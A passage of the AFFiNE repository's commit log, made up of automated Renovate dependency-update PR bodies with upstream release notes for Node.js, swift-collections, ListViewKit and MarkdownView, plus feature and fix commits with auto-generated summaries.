\[[`48bfbd3dca`](https://redirect.github.com/nodejs/node/commit/48bfbd3dca)]
- **(SEMVER-MINOR)** **sea**: support execArgv in sea config (Joyee
Cheung)
[#&#8203;59314](https://redirect.github.com/nodejs/node/pull/59314)
-
\[[`5559456fe4`](https://redirect.github.com/nodejs/node/commit/5559456fe4)]
- **sqlite**: add sqlite-type symbol for DatabaseSync (Alex Yang)
[#&#8203;59405](https://redirect.github.com/nodejs/node/pull/59405)
-
\[[`3478130da3`](https://redirect.github.com/nodejs/node/commit/3478130da3)]
- **sqlite**: handle ?NNN parameters as positional (Edy Silva)
[#&#8203;59350](https://redirect.github.com/nodejs/node/pull/59350)
-
\[[`312bc4e5d1`](https://redirect.github.com/nodejs/node/commit/312bc4e5d1)]
- **sqlite**: avoid useless call to FromMaybe() (Tobias Nießen)
[#&#8203;59490](https://redirect.github.com/nodejs/node/pull/59490)
-
\[[`937e9bb1c6`](https://redirect.github.com/nodejs/node/commit/937e9bb1c6)]
- **src**: track BaseObjects with an efficient list (Chengzhong Wu)
[#&#8203;55104](https://redirect.github.com/nodejs/node/pull/55104)
-
\[[`be2a5e170d`](https://redirect.github.com/nodejs/node/commit/be2a5e170d)]
- **src**: track async resources via pointers to stack-allocated handles
(Anna Henningsen)
[#&#8203;59704](https://redirect.github.com/nodejs/node/pull/59704)
-
\[[`f232bf2c11`](https://redirect.github.com/nodejs/node/commit/f232bf2c11)]
- **src**: fix build on NetBSD (Thomas Klausner)
[#&#8203;59718](https://redirect.github.com/nodejs/node/pull/59718)
-
\[[`e9a685bc3d`](https://redirect.github.com/nodejs/node/commit/e9a685bc3d)]
- **src**: fix race on process exit and off thread CA loading
(Chengzhong Wu)
[#&#8203;59632](https://redirect.github.com/nodejs/node/pull/59632)
-
\[[`24428fc8fb`](https://redirect.github.com/nodejs/node/commit/24428fc8fb)]
- **src**: add name for more threads (theanarkh)
[#&#8203;59601](https://redirect.github.com/nodejs/node/pull/59601)
-
\[[`fd7559f8c3`](https://redirect.github.com/nodejs/node/commit/fd7559f8c3)]
- **src**: remove JSONParser (Joyee Cheung)
[#&#8203;59619](https://redirect.github.com/nodejs/node/pull/59619)
-
\[[`8c296bac99`](https://redirect.github.com/nodejs/node/commit/8c296bac99)]
- **src**: enforce assumptions in FIXED\_ONE\_BYTE\_STRING (Tobias
Nießen)
[#&#8203;58155](https://redirect.github.com/nodejs/node/pull/58155)
-
\[[`1b4885a3f2`](https://redirect.github.com/nodejs/node/commit/1b4885a3f2)]
- **src**: use simdjson to parse --snapshot-config (Joyee Cheung)
[#&#8203;59473](https://redirect.github.com/nodejs/node/pull/59473)
-
\[[`9f798de6b0`](https://redirect.github.com/nodejs/node/commit/9f798de6b0)]
- **src**: fix order of CHECK\_NOT\_NULL/dereference (Tobias Nießen)
[#&#8203;59487](https://redirect.github.com/nodejs/node/pull/59487)
-
\[[`f764be27dc`](https://redirect.github.com/nodejs/node/commit/f764be27dc)]
- **src**: move shared\_ptr objects in KeyObjectData (Tobias Nießen)
[#&#8203;59472](https://redirect.github.com/nodejs/node/pull/59472)
-
\[[`d30287fe12`](https://redirect.github.com/nodejs/node/commit/d30287fe12)]
- **src**: iterate metadata version entries with std::array (Chengzhong
Wu) [#&#8203;57866](https://redirect.github.com/nodejs/node/pull/57866)
-
\[[`b2bf620c7b`](https://redirect.github.com/nodejs/node/commit/b2bf620c7b)]
- **src**: internalize `v8::ConvertableToTraceFormat` in traces
(Chengzhong Wu)
[#&#8203;57866](https://redirect.github.com/nodejs/node/pull/57866)
-
\[[`b3c507c8ef`](https://redirect.github.com/nodejs/node/commit/b3c507c8ef)]
- **src**: remove duplicate assignment of `O_EXCL` in node\_constants.cc
(Daniel Osvaldo R)
[#&#8203;59049](https://redirect.github.com/nodejs/node/pull/59049)
-
\[[`20aec239d4`](https://redirect.github.com/nodejs/node/commit/20aec239d4)]
- **src**: add Intel CET properties to large\_pages.S (tjuhaszrh)
[#&#8203;59363](https://redirect.github.com/nodejs/node/pull/59363)
-
\[[`8e0f9cd061`](https://redirect.github.com/nodejs/node/commit/8e0f9cd061)]
- **src**: remove unused DSAKeyExportJob (Filip Skokan)
[#&#8203;59291](https://redirect.github.com/nodejs/node/pull/59291)
-
\[[`0c2b6df94f`](https://redirect.github.com/nodejs/node/commit/0c2b6df94f)]
- **src,sqlite**: refactor value conversion (Edy Silva)
[#&#8203;59659](https://redirect.github.com/nodejs/node/pull/59659)
-
\[[`b95cfdf0e5`](https://redirect.github.com/nodejs/node/commit/b95cfdf0e5)]
- **stream**: replace manual function validation with validateFunction
(방진혁)
[#&#8203;59529](https://redirect.github.com/nodejs/node/pull/59529)
-
\[[`cf06e74076`](https://redirect.github.com/nodejs/node/commit/cf06e74076)]
- **(SEMVER-MINOR)** **stream**: add brotli support to CompressionStream
and DecompressionStream (Matthew Aitken)
[#&#8203;59464](https://redirect.github.com/nodejs/node/pull/59464)
-
\[[`903ebd373a`](https://redirect.github.com/nodejs/node/commit/903ebd373a)]
- **test**: skip more sea tests on Linux ppc64le (Richard Lau)
[#&#8203;59755](https://redirect.github.com/nodejs/node/pull/59755)
-
\[[`e961060bb6`](https://redirect.github.com/nodejs/node/commit/e961060bb6)]
- **test**: fix internet/test-dns (Michaël Zasso)
[#&#8203;59660](https://redirect.github.com/nodejs/node/pull/59660)
- \[[`c2b22f50a8`](https://redirect.git

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi41OS4wIiwidXBkYXRlZEluVmVyIjoiNDIuNTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-29 18:55:11 +08:00
DarkSky
6951f1002f feat: improve event handle (#14177) 2025-12-29 18:54:59 +08:00
DarkSky
20a80015c0 feat: integrate native indexer for mobile (#14174)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## Release Notes

* **New Features**
* Added full-text search functionality to mobile apps (Android and iOS),
enabling document indexing and search capabilities.
* Enhanced blob upload support with new GraphQL mutations for creating,
completing, and managing file uploads.

* **Improvements**
* iOS and Android now use SQLite storage backend for improved indexing
performance, aligning with desktop experience.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-28 21:34:39 +08:00
DarkSky
504460438f fix: mobile mult-select tag delete (#14172)
fix #14167

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## New Features
* Added Backspace key support to delete the last selected tag when the
input field is empty
* Added delete icon buttons next to each tag for quick removal
* Features available on both mobile and desktop tag pickers

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-28 17:16:20 +08:00
DarkSky
582340b0b7 fix: lint 2025-12-28 15:32:25 +08:00
renovate[bot]
11d9a41433 chore: bump up apple/swift-collections version to from: "1.3.0" (#13688)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apple/swift-collections](https://redirect.github.com/apple/swift-collections)
| minor | `from: "1.2.1"` -> `from: "1.3.0"` |

---

### Release Notes

<details>
<summary>apple/swift-collections (apple/swift-collections)</summary>

###
[`v1.3.0`](https://redirect.github.com/apple/swift-collections/releases/tag/1.3.0):
Swift Collections 1.3.0

[Compare
Source](https://redirect.github.com/apple/swift-collections/compare/1.2.1...1.3.0)

This feature release supports Swift toolchain versions 6.0, 6.1 and 6.2,
and it includes the following improvements:

##### `BasicContainers` module

This new module collects ownership-aware, low-level variants of existing
data structures in the core standard library. In this release, this
module consists of two array variants, `UniqueArray` and `RigidArray`.

These new types are provided as less flexible, noncopyable alternatives
to the classic `Array` type. The standard `Array` implements value
semantics with the copy-on-write optimization; this inherently requires
elements to be copyable, and it is itself copyable.

`struct UniqueArray<Element>` is a noncopyable array variant that takes
away `Array`'s copy-on-write behavior, enabling support for noncopyable
elements. This type's noncopyability means mutations can always assume
that the array is uniquely owned, with no shared copies (hence the
name!). This means that array mutations such as mutating an element at
an index can behave much more predictably, with no unexpected
performance spikes due to having to copy shared storage.

`struct RigidArray<Element>` goes even further, by also disabling
dynamic resizing. Rigid arrays have a fixed capacity: they are
initialized with room for a particular number of elements, and they
never implicitly grow (nor shrink) their storage. When a rigid array's
count reaches its capacity, it becomes unable to add any new items --
inserting into a full array is considered a programming error. This
makes this a quite inflexible (or *rigid*) type indeed, as avoiding
storage overflow requires careful, up front planning on the resource
needs of the task at hand. In exchange, rigid arrays can have extremely
predictable performance characteristics.

`UniqueArray` is a great default choice when a task just needs an array
type that is able store noncopyable elements. `RigidArray` is best
reserved for use cases that require absolute, pedantic control over
memory use or latency -- such as control software running in
environments with extremely limited memory, or when a certain task must
always be completed in some given amount of time.

The `Unique` and `Rigid` prefixes applied here establish a general
naming convention for low-level variants of the classic copy-on-write
data structure implementations. Future releases are expected to flesh
out our zoo of container types by adding `Unique` and `Rigid` variants
of the existing `Set`, `Dictionary`, `Deque`, `Heap` and other
constructs, with type names such as as `RigidDictionary` and
`UniqueDeque`.

##### `TrailingElementsModule` module

This new module ships a new `TrailingArray` construct, a preview of a
new low-level, ownership-aware variant of `ManagedBuffer`. This is
primarily intended as a interoperability helper for C constructs that
consist of a fixed-size header directly followed by variable-size
storage buffer.

##### `ContainersPreview` module

This module is intended to contain previews of an upcoming
ownership-aware container model. In this initial release, this module
consists of just one construct: `struct Box<T>`.

`Box` is a wrapper type that forms a noncopyable, heap allocated box
around an arbitrary value.

#### What's Changed

- Merge release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;204](https://redirect.github.com/apple/swift-collections/pull/204)
- Merge relase/1.1 to main, without taking any changes by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;206](https://redirect.github.com/apple/swift-collections/pull/206)
- \[Heap] Add methods to replace minimum/maximum (redux) by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;208](https://redirect.github.com/apple/swift-collections/pull/208)
- Persistent collections updates (part 10) by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;207](https://redirect.github.com/apple/swift-collections/pull/207)
- Update CMakeLists.txt by
[@&#8203;compnerd](https://redirect.github.com/compnerd) in
[#&#8203;215](https://redirect.github.com/apple/swift-collections/pull/215)
- Merge latest changes from release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;220](https://redirect.github.com/apple/swift-collections/pull/220)
- Merge branch release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;231](https://redirect.github.com/apple/swift-collections/pull/231)
- \[SortedCollections] Disable tests with
[@&#8203;testable](https://redirect.github.com/testable) imports in
release builds by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;232](https://redirect.github.com/apple/swift-collections/pull/232)
- \[Hashtable] Minor Documentation Fix (Typo) by
[@&#8203;nickkohrn](https://redirect.github.com/nickkohrn) in
[#&#8203;241](https://redirect.github.com/apple/swift-collections/pull/241)
- Merge branch `release/1.1` to `main` by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;248](https://redirect.github.com/apple/swift-collections/pull/248)
- Update README.md by
[@&#8203;glessard](https://redirect.github.com/glessard) in
[#&#8203;251](https://redirect.github.com/apple/swift-collections/pull/251)
- \[OrderedDictionary] Explicitly mention in documentation that
keys/values are ordered by
[@&#8203;warpling](https://redirect.github.com/warpling) in
[#&#8203;254](https://redirect.github.com/apple/swift-collections/pull/254)
- build: support ARM64 spelling by
[@&#8203;compnerd](https://redirect.github.com/compnerd) in
[#&#8203;282](https://redirect.github.com/apple/swift-collections/pull/282)
- Merge release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;284](https://redirect.github.com/apple/swift-collections/pull/284)
- Update release checklist by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;323](https://redirect.github.com/apple/swift-collections/pull/323)
- build: update the build rules for adjusted tree layout by
[@&#8203;compnerd](https://redirect.github.com/compnerd) in
[#&#8203;331](https://redirect.github.com/apple/swift-collections/pull/331)
- build: support using swift-collections in larger projects by
[@&#8203;compnerd](https://redirect.github.com/compnerd) in
[#&#8203;330](https://redirect.github.com/apple/swift-collections/pull/330)
- Merge release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;332](https://redirect.github.com/apple/swift-collections/pull/332)
- build: support building in Debug mode on Windows by
[@&#8203;compnerd](https://redirect.github.com/compnerd) in
[#&#8203;333](https://redirect.github.com/apple/swift-collections/pull/333)
- Bugfix Incorrect Assert in BTree.removeFirst/removeLast by
[@&#8203;LeoNavel](https://redirect.github.com/LeoNavel) in
[#&#8203;349](https://redirect.github.com/apple/swift-collections/pull/349)
- Fix typos by [@&#8203;rex4539](https://redirect.github.com/rex4539) in
[#&#8203;356](https://redirect.github.com/apple/swift-collections/pull/356)
- Merge branch `release/1.1` to `main` by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;358](https://redirect.github.com/apple/swift-collections/pull/358)
- Merge.1.1→main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;361](https://redirect.github.com/apple/swift-collections/pull/361)
- Add post-merge CI support by
[@&#8203;shahmishal](https://redirect.github.com/shahmishal) in
[#&#8203;367](https://redirect.github.com/apple/swift-collections/pull/367)
- Update CODEOWNERS by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;375](https://redirect.github.com/apple/swift-collections/pull/375)
- Merge release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;386](https://redirect.github.com/apple/swift-collections/pull/386)
- Merge release/1.1 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;410](https://redirect.github.com/apple/swift-collections/pull/410)
- \[BTree]\[NFC] Rephrase some comments by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;427](https://redirect.github.com/apple/swift-collections/pull/427)
- \[CI] Pull Request testing support via GitHub Actions by
[@&#8203;shahmishal](https://redirect.github.com/shahmishal) in
[#&#8203;426](https://redirect.github.com/apple/swift-collections/pull/426)
- \[OrderedDictionary Documentation] fix a typo by
[@&#8203;Gyuni](https://redirect.github.com/Gyuni) in
[#&#8203;445](https://redirect.github.com/apple/swift-collections/pull/445)
- Install swiftmodules with full module triple by
[@&#8203;etcwilde](https://redirect.github.com/etcwilde) in
[#&#8203;470](https://redirect.github.com/apple/swift-collections/pull/470)
- \[OrderedSet] Add `OrderedSet.appending(contentsOf:)` by
[@&#8203;pm-dev](https://redirect.github.com/pm-dev) in
[#&#8203;452](https://redirect.github.com/apple/swift-collections/pull/452)
- ManagedBuffer.capacity is unavailable on OpenBSD. by
[@&#8203;3405691582](https://redirect.github.com/3405691582) in
[#&#8203;456](https://redirect.github.com/apple/swift-collections/pull/456)
- Align Heap.\_UnsafeHandle min/maxValue tie-breaking with Swift.min/max
by [@&#8203;DakshinD](https://redirect.github.com/DakshinD) in
[#&#8203;455](https://redirect.github.com/apple/swift-collections/pull/455)
- Add Heap.removeAll(where:) by
[@&#8203;DakshinD](https://redirect.github.com/DakshinD) in
[#&#8203;454](https://redirect.github.com/apple/swift-collections/pull/454)
- Merge release/1.2 to main by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;450](https://redirect.github.com/apple/swift-collections/pull/450)
- Disable `SortedCollections` module by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;479](https://redirect.github.com/apple/swift-collections/pull/479)
- Enable MemberImportVisibility and fix issues uncovered by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;480](https://redirect.github.com/apple/swift-collections/pull/480)
- fix comment for OrderedSet.appending(contentsOf:) by
[@&#8203;ozumin](https://redirect.github.com/ozumin) in
[#&#8203;478](https://redirect.github.com/apple/swift-collections/pull/478)
- Bump requirements of nested benchmarking package by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;481](https://redirect.github.com/apple/swift-collections/pull/481)
- Fix CMake build by
[@&#8203;etcwilde](https://redirect.github.com/etcwilde) in
[#&#8203;482](https://redirect.github.com/apple/swift-collections/pull/482)
- Merge changes on `release/1.2` to `main` branch by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;487](https://redirect.github.com/apple/swift-collections/pull/487)
- Enable macOS testing on GitHub Actions by
[@&#8203;shahmishal](https://redirect.github.com/shahmishal) in
[#&#8203;483](https://redirect.github.com/apple/swift-collections/pull/483)
- Fix API documentation links in README.md by
[@&#8203;azarovalex](https://redirect.github.com/azarovalex) in
[#&#8203;490](https://redirect.github.com/apple/swift-collections/pull/490)
- Skip Xcode 16.0 and 16.1 in PR workflow by
[@&#8203;natecook1000](https://redirect.github.com/natecook1000) in
[#&#8203;493](https://redirect.github.com/apple/swift-collections/pull/493)
- Fix OrderedSet example usage by
[@&#8203;azarovalex](https://redirect.github.com/azarovalex) in
[#&#8203;491](https://redirect.github.com/apple/swift-collections/pull/491)
- Add support for embedded Swift mode by
[@&#8203;parkera](https://redirect.github.com/parkera) in
[#&#8203;494](https://redirect.github.com/apple/swift-collections/pull/494)
- Include DequeModule in the Foundation toolchain build by
[@&#8203;cthielen](https://redirect.github.com/cthielen) in
[#&#8203;495](https://redirect.github.com/apple/swift-collections/pull/495)
- Fix CMake build for `release/1.2` by
[@&#8203;cthielen](https://redirect.github.com/cthielen) in
[#&#8203;498](https://redirect.github.com/apple/swift-collections/pull/498)
- fix minor typo in init docs for Deque.swift by
[@&#8203;t089](https://redirect.github.com/t089) in
[#&#8203;503](https://redirect.github.com/apple/swift-collections/pull/503)
- \[SortedSet] Fix subtreeCount inconsistency after remove at index by
[@&#8203;brianchang928](https://redirect.github.com/brianchang928) in
[#&#8203;502](https://redirect.github.com/apple/swift-collections/pull/502)
- Add the missing COLLECTIONS\_SINGLE\_MODULE when import
InternalCollectionsUtils by
[@&#8203;faimin](https://redirect.github.com/faimin) in
[#&#8203;501](https://redirect.github.com/apple/swift-collections/pull/501)
- \[SortedCollections] Fix incorrect offset calculation in
BTree.findAnyIndex by
[@&#8203;brianchang928](https://redirect.github.com/brianchang928) in
[#&#8203;506](https://redirect.github.com/apple/swift-collections/pull/506)
- \[SortedCollections] Fix B-tree root reduction during element removal
causing data loss by
[@&#8203;brianchang928](https://redirect.github.com/brianchang928) in
[#&#8203;507](https://redirect.github.com/apple/swift-collections/pull/507)
- Add checks for Wasm compatibility to `pull_request.yml` by
[@&#8203;MaxDesiatov](https://redirect.github.com/MaxDesiatov) in
[#&#8203;509](https://redirect.github.com/apple/swift-collections/pull/509)
- First round of noncopyable constructs: `Box`, `RigidArray`,
`DynamicArray` by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;508](https://redirect.github.com/apple/swift-collections/pull/508)
- \[actions] exclude Xcode 26 beta 6 by
[@&#8203;glessard](https://redirect.github.com/glessard) in
[#&#8203;514](https://redirect.github.com/apple/swift-collections/pull/514)
- Add "trailing elements" module with facilities for tail-allocated
storage by [@&#8203;DougGregor](https://redirect.github.com/DougGregor)
in
[#&#8203;513](https://redirect.github.com/apple/swift-collections/pull/513)
- \[Xcode] Add trailing elements to xcodeproj by
[@&#8203;Azoy](https://redirect.github.com/Azoy) in
[#&#8203;515](https://redirect.github.com/apple/swift-collections/pull/515)
- Containers: Naming updates, minor tweaks by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;516](https://redirect.github.com/apple/swift-collections/pull/516)
- Add BasicContainer rename to xcodeproj by
[@&#8203;Azoy](https://redirect.github.com/Azoy) in
[#&#8203;517](https://redirect.github.com/apple/swift-collections/pull/517)
- Prepare for tagging 1.3.0 by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;523](https://redirect.github.com/apple/swift-collections/pull/523)
- \[Docs] Fix landing page of collections documentation by
[@&#8203;Azoy](https://redirect.github.com/Azoy) in
[#&#8203;520](https://redirect.github.com/apple/swift-collections/pull/520)
- build: Install libraries in an `arch` sub-folder by
[@&#8203;Steelskin](https://redirect.github.com/Steelskin) in
[#&#8203;505](https://redirect.github.com/apple/swift-collections/pull/505)
- More release preparations for 1.3.0 by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;524](https://redirect.github.com/apple/swift-collections/pull/524)
- One last round of documentation updates by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;525](https://redirect.github.com/apple/swift-collections/pull/525)

#### New Contributors

- [@&#8203;nickkohrn](https://redirect.github.com/nickkohrn) made their
first contribution in
[#&#8203;241](https://redirect.github.com/apple/swift-collections/pull/241)
- [@&#8203;warpling](https://redirect.github.com/warpling) made their
first contribution in
[#&#8203;254](https://redirect.github.com/apple/swift-collections/pull/254)
- [@&#8203;LeoNavel](https://redirect.github.com/LeoNavel) made their
first contribution in
[#&#8203;349](https://redirect.github.com/apple/swift-collections/pull/349)
- [@&#8203;rex4539](https://redirect.github.com/rex4539) made their
first contribution in
[#&#8203;356](https://redirect.github.com/apple/swift-collections/pull/356)
- [@&#8203;Gyuni](https://redirect.github.com/Gyuni) made their first
contribution in
[#&#8203;445](https://redirect.github.com/apple/swift-collections/pull/445)
- [@&#8203;pm-dev](https://redirect.github.com/pm-dev) made their first
contribution in
[#&#8203;452](https://redirect.github.com/apple/swift-collections/pull/452)
- [@&#8203;DakshinD](https://redirect.github.com/DakshinD) made their
first contribution in
[#&#8203;455](https://redirect.github.com/apple/swift-collections/pull/455)
- [@&#8203;ozumin](https://redirect.github.com/ozumin) made their first
contribution in
[#&#8203;478](https://redirect.github.com/apple/swift-collections/pull/478)
- [@&#8203;azarovalex](https://redirect.github.com/azarovalex) made
their first contribution in
[#&#8203;490](https://redirect.github.com/apple/swift-collections/pull/490)
- [@&#8203;natecook1000](https://redirect.github.com/natecook1000) made
their first contribution in
[#&#8203;493](https://redirect.github.com/apple/swift-collections/pull/493)
- [@&#8203;parkera](https://redirect.github.com/parkera) made their
first contribution in
[#&#8203;494](https://redirect.github.com/apple/swift-collections/pull/494)
- [@&#8203;t089](https://redirect.github.com/t089) made their first
contribution in
[#&#8203;503](https://redirect.github.com/apple/swift-collections/pull/503)
- [@&#8203;brianchang928](https://redirect.github.com/brianchang928)
made their first contribution in
[#&#8203;502](https://redirect.github.com/apple/swift-collections/pull/502)
- [@&#8203;faimin](https://redirect.github.com/faimin) made their first
contribution in
[#&#8203;501](https://redirect.github.com/apple/swift-collections/pull/501)
- [@&#8203;MaxDesiatov](https://redirect.github.com/MaxDesiatov) made
their first contribution in
[#&#8203;509](https://redirect.github.com/apple/swift-collections/pull/509)
- [@&#8203;DougGregor](https://redirect.github.com/DougGregor) made
their first contribution in
[#&#8203;513](https://redirect.github.com/apple/swift-collections/pull/513)

**Full Changelog**:
<https://github.com/apple/swift-collections/compare/1.2.1...1.3.0>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQyLjU5LjAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-28 15:18:35 +08:00
renovate[bot]
f49f42ce76 chore: bump up Lakr233/ListViewKit version to from: "1.1.8" (#14078)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [Lakr233/ListViewKit](https://redirect.github.com/Lakr233/ListViewKit)
| patch | `from: "1.1.6"` -> `from: "1.1.8"` |

---

### Release Notes

<details>
<summary>Lakr233/ListViewKit (Lakr233/ListViewKit)</summary>

###
[`v1.1.8`](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.7...1.1.8)

[Compare
Source](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.7...1.1.8)

###
[`v1.1.7`](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.6...1.1.7)

[Compare
Source](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.6...1.1.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-28 15:17:50 +08:00
renovate[bot]
f78dc44690 chore: bump up Lakr233/MarkdownView version to from: "3.4.7" (#14090)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[Lakr233/MarkdownView](https://redirect.github.com/Lakr233/MarkdownView)
| patch | `from: "3.4.2"` -> `from: "3.4.7"` |

---

### Release Notes

<details>
<summary>Lakr233/MarkdownView (Lakr233/MarkdownView)</summary>

###
[`v3.4.7`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.6...3.4.7)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.6...3.4.7)

###
[`v3.4.6`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.5...3.4.6)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.5...3.4.6)

###
[`v3.4.5`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.4...3.4.5)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.4...3.4.5)

###
[`v3.4.4`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.3...3.4.4)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.3...3.4.4)

###
[`v3.4.3`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.2...3.4.3)

[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.4.2...3.4.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi40Mi4yIiwidXBkYXRlZEluVmVyIjoiNDIuNTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-28 15:16:48 +08:00
DarkSky
a38e7e58e0 docs: update template 2025-12-28 07:39:14 +08:00
DarkSky
4f1d57ade5 feat: integrate typst preview & fix mermaid style (#14168)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Typst code block preview with interactive rendering controls (zoom,
pan, reset) and user-friendly error messages

* **Style**
  * Centered Mermaid diagram rendering for improved layout

* **Tests**
  * Added end-to-end preview validation tests for Typst and Mermaid

* **Chores**
* Added WebAssembly type declarations and updated frontend packages;
removed a build debug configuration entry

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-28 04:55:22 +08:00
DarkSky
1b532d5c6c fix: inline doc toolbar tooltip (#14169)
fix #14001

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated tooltip text from "Edit" to "Edit Description" in link and
toolbar configurations to provide clearer guidance on the edit action's
purpose across the application.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
